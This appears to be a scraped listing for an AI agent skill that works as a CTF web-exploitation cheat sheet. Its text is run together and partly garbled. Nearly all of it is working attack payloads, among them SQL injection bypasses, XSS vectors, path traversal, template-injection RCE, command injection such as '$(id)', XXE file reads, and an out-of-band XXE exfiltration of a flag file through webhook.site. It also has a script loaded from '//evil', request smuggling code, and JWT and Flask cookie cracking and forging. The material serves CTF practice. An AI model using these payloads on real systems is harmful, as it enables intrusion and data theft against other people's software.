Loading...
Loading...
Web exploitation techniques for CTF challenges. Use when solving web security challenges involving XSS, SQLi, CSRF, file upload bypasses, JWT attacks, Web3/blockchain exploits, or other web vulnerabilities.
npx skill4agent add ljagiello/ctf-skills ctf-web.map/robots.txt/sitemap.xml/.well-known//admin/api/debug/.git//.envgrep -oE '"/api/[^"]+"''' OR '1'='1 # Classic auth bypass
' OR 1=1-- # Comment termination
username=\&password= OR 1=1-- # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master-- # SQLite schema
0x6d656f77 # Hex encoding for 'meow' (bypass quotes)<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>\x3cscript\x3e<script><ScRiPt>../../../etc/passwd
....//....//....//etc/passwd # Filter bypass
..%2f..%2f..%2fetc/passwd # URL encoding
%252e%252e%252f # Double URL encoding
{.}{.}/flag.txt # Brace stripping bypassos.path.join('/app/public', '/etc/passwd')/etc/passwdalg: none/api/getPublicKey.env/debug/config{{7*7}}49# Jinja2 RCE
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Go template
{{.ReadFile "/flag.txt"}}
# EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
127.0.0.1.nip.io, 2130706433, 0x7f000001; id | id `id` $(id)
%0aid # Newline 127.0.0.1%0acat /flagsed -n p flag.txtawk '{print}'tac flag.txt<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">instance_evalVALID');INJECTED_CODE#open()|command|evalrow['con'+'structor']['con'+'structor']('return this')(){"__proto__": {"isAdmin": true}}this.constructor.constructor("return process")()# When Express.js endpoint checks req.body.isAdmin or similar:
curl -X POST -H 'Content-Type: application/json' \
-d '{"Path":"value","__proto__":{"isAdmin":true}}' \
'https://target/endpoint'
# __proto__ pollutes Object.prototype, making isAdmin truthy on all objects__proto__role=adminisAdmin=trueHost: 127.0.0.1/api/internal//api/admin/window.overrideAccess = true.htaccessAddType application/x-httpd-php .lol.git/configcore.sshCommand.so.pyc/proc/1/environ.so/proc/*/environ/proc/*/cmdline.so.pyc\x3c<sqlmap -u "http://target/?id=1" --dbs # SQLi
ffuf -u http://target/FUZZ -w wordlist.txt # Directory fuzzing
flask-unsign --decode --cookie "eyJ..." # JWT decode
hashcat -m 16500 jwt.txt wordlist.txt # JWT crack
dalfox url http://target/?q=test # XSSrandom_wordflask-unsign --unsign --cookie "eyJ..." --wordlist wordlist.txt
# Or brute-force programmatically:
for word in wordlist:
try:
data = decode_flask_cookie(cookie, word)
print(f"Secret: {word}, Data: {data}")
except: passis_admin=Trueflask-unsign --sign --cookie '{"is_admin": true}' --secret "found_secret"/fetchhttp://127.0.0.1/admin/flagX-Fetcher/console/proc/self/environ/sys/class/net/eth0/address/proc/sys/kernel/random/boot_id<!-- Remote DTD (hosted on webhook.site) -->
<!ENTITY % data SYSTEM "file:///app/flag.txt">
<!ENTITY leak "%data;"><!-- Uploaded XML (clean, passes filter) -->
<?xml version="1.0"?>
<!DOCTYPE book SYSTEM "http://webhook.site/TOKEN">
<book><title>&leak;</title></book>import requests
TOKEN = requests.post("https://webhook.site/token").json()["uuid"]
dtd = '<!ENTITY % d SYSTEM "file:///app/flag.txt"><!ENTITY leak "%d;">'
requests.put(f"https://webhook.site/token/{TOKEN}/request/...",
json={"default_content": dtd, "default_content_type": "text/xml"})[]()!+()().toString()const code = fs.readFileSync('jsfuck.js', 'utf8');
// Remove last () to get function object instead of executing
const func = eval(code.slice(0, -2));
console.log(func.toString()); // Reveals original code with hardcoded flagattachShadowvar _r, _o = Element.prototype.attachShadow;
Element.prototype.attachShadow = new Proxy(_o, {
apply: (t, a, b) => { _r = Reflect.apply(t, a, b); return _r; }
});
// After target script creates shadow DOM, _r contains the root(0,eval)('code')with(document)avatar.slice(N)<svg/onload=(0,eval)('eval(avatar.slice(24))')></script></script><script src=//evil>document.scripts[].textContent.jpeg.jpg.jpgtext/html<form id="config"><input name="canAdminVerify" value="1"></form>
<!-- Makes window.config.canAdminVerify truthy, bypassing JS checks -->inner_req = (
f"POST /create HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
f"Cookie: session={user_session}\r\n"
f"Content-Length: 256\r\n" # Large, but only partial body sent
f"\r\n"
f"content=LEAK_" # Victim's request completes this
)
outer_req = (
f"GET /cached-page HTTP/1.1\r\n"
f"Content-Length: {len(inner_req)}\r\n"
f"\r\n"
).encode() + inner_req%2f%2fcurl 'https://target/public%2f../nginx.conf'
# Nginx sees "/public%2f../nginx.conf" → matches /public/ route
# Filesystem resolves to /public/../nginx.conf → /nginx.conf%2e%252f\/flag.txt, /flag, /app/flag.txt, /home/*/flag*
Environment variables: /proc/self/environ
Database: flag, flags, secret tables
Response headers: x-flag, x-archive-tag, x-proof
Hidden DOM: display:none elements, data attributes